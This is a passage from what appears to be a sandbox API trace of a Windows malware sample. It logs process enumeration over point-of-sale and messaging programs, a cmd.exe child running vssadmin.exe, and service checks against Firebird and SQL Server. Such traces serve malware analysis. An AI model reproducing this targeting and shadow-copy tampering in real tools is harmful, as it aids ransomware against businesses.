th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0083.180] lstrlenW (lpString="whatsapp.exe") returned 12 [0083.180] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0083.181] lstrlenW (lpString="winscp.exe") returned 10 [0083.181] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0083.182] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0083.182] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0083.183] lstrlenW (lpString="active-charge.exe") returned 17 [0083.183] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0083.184] lstrlenW (lpString="accupos.exe") returned 11 [0083.184] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0083.185] lstrlenW (lpString="afr38.exe") returned 9 [0083.186] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0083.186] lstrlenW (lpString="aldelo.exe") returned 10 [0083.187] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0083.188] lstrlenW (lpString="ccv_server.exe") returned 14 [0083.188] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0083.189] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0083.189] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0083.190] lstrlenW (lpString="creditservice.exe") returned 17 [0083.190] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0083.191] lstrlenW (lpString="edcsvr.exe") returned 10 [0083.191] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0083.192] lstrlenW (lpString="fpos.exe") returned 8 [0083.192] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0083.193] lstrlenW (lpString="isspos.exe") returned 10 [0083.193] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0083.194] lstrlenW (lpString="mxslipstream.exe") returned 16 [0083.194] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0083.195] lstrlenW (lpString="omnipos.exe") returned 11 [0083.195] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0083.195] lstrlenW (lpString="spcwin.exe") returned 10 [0083.196] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0083.196] lstrlenW (lpString="spgagentservice.exe") returned 19 [0083.196] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0083.197] lstrlenW (lpString="utg2.exe") returned 8 [0083.197] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0083.198] lstrlenW (lpString="atlascomedy.exe") returned 15 [0083.198] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0083.199] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0083.199] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0083.200] lstrlenW (lpString="ntsc.exe") returned 8 [0083.200] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0083.201] lstrlenW (lpString="criteria.exe") returned 12 [0083.201] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0083.328] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0083.328] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0083.329] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0083.329] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0083.330] lstrlenW (lpString="taskhost.exe") returned 12 [0083.330] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0083.331] lstrlenW (lpString="winhost.exe") returned 11 [0083.331] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0083.332] lstrlenW (lpString="cmd.exe") returned 7 [0083.332] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0083.333] lstrlenW (lpString="conhost.exe") returned 11 [0083.333] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0083.334] lstrlenW (lpString="vssadmin.exe") returned 12 [0083.334] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0083.334] CloseHandle (hObject=0x190) returned 1 [0083.334] Sleep (dwMilliseconds=0x1f4) [0084.190] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609cf0 [0084.205] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0084.206] GetLastError () returned 0xea [0084.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x123e) returned 0x39777a0 [0084.207] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x123e, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0084.207] CloseServiceHandle (hSCObject=0x609cf0) returned 1 [0084.208] lstrlenW (lpString="Appinfo") returned 7 [0084.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0084.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0084.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0084.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0084.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0084.208] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0084.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0084.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0084.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0084.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0084.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0084.208] lstrlenW (lpString="AudioSrv") returned 8 [0084.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0084.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0084.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0084.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0084.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0084.208] lstrlenW (lpString="BFE") returned 3 [0084.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0084.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0084.208] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0084.208] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0084.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0084.209] lstrlenW (lpString="CryptSvc") returned 8 [0084.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0084.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0084.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0084.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0084.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0084.209] lstrlenW (lpString="CscService") returned 10 [0084.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0084.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0084.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0084.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0084.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0084.209] lstrlenW (lpString="DcomLaunch") returned 10 [0084.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0084.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0084.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0084.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0084.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0084.209] lstrlenW (lpString="Dhcp") returned 4 [0084.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0084.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0084.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0084.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0084.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0084.210] lstrlenW (lpString="Dnscache") returned 8 [0084.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0084.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0084.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0084.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0084.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0084.210] lstrlenW (lpString="DPS") returned 3 [0084.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0084.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0084.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0084.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0084.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0084.210] lstrlenW (lpString="eventlog") returned 8 [0084.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0084.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0084.210] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0084.210] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0084.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0084.210] lstrlenW (lpString="EventSystem") returned 11 [0084.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0084.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0084.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0084.211] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0084.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0084.211] lstrlenW (lpString="gpsvc") returned 5 [0084.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0084.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0084.211] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0084.211] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0084.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0084.211] lstrlenW (lpString="iphlpsvc") returned 8 [0084.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0084.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0084.211] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0084.211] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0084.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0084.211] lstrlenW (lpString="LanmanServer") returned 12 [0084.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0084.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0084.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0084.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0084.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0084.211] lstrlenW (lpString="LanmanWorkstation") returned 17 [0084.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0084.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0084.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0084.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0084.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0084.211] lstrlenW (lpString="lmhosts") returned 7 [0084.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0084.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0084.212] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0084.212] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0084.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0084.212] lstrlenW (lpString="MMCSS") returned 5 [0084.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0084.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0084.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0084.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0084.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0084.212] lstrlenW (lpString="MpsSvc") returned 6 [0084.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0084.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0084.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0084.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0084.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0084.212] lstrlenW (lpString="Netman") returned 6 [0084.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0084.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0084.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0084.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0084.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0084.212] lstrlenW (lpString="netprofm") returned 8 [0084.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0084.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0084.212] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0084.213] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0084.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0084.213] lstrlenW (lpString="NlaSvc") returned 6 [0084.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0084.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0084.213] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0084.213] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0084.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0084.213] lstrlenW (lpString="nsi") returned 3 [0084.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0084.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0084.213] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0084.213] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0084.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0084.213] lstrlenW (lpString="PcaSvc") returned 6 [0084.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0084.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0084.213] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0084.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0084.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0084.214] lstrlenW (lpString="PlugPlay") returned 8 [0084.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0084.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0084.214] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0084.214] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0084.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0084.214] lstrlenW (lpString="Power") returned 5 [0084.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0084.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0084.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0084.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0084.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0084.214] lstrlenW (lpString="ProfSvc") returned 7 [0084.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0084.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0084.214] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0084.214] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0084.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0084.214] lstrlenW (lpString="RpcEptMapper") returned 12 [0084.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0084.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0084.214] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0084.215] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0084.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0084.215] lstrlenW (lpString="RpcSs") returned 5 [0084.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0084.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0084.215] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0084.215] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0084.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0084.215] lstrlenW (lpString="SamSs") returned 5 [0084.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0084.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0084.215] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0084.215] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0084.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0084.215] lstrlenW (lpString="Schedule") returned 8 [0084.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0084.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0084.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") 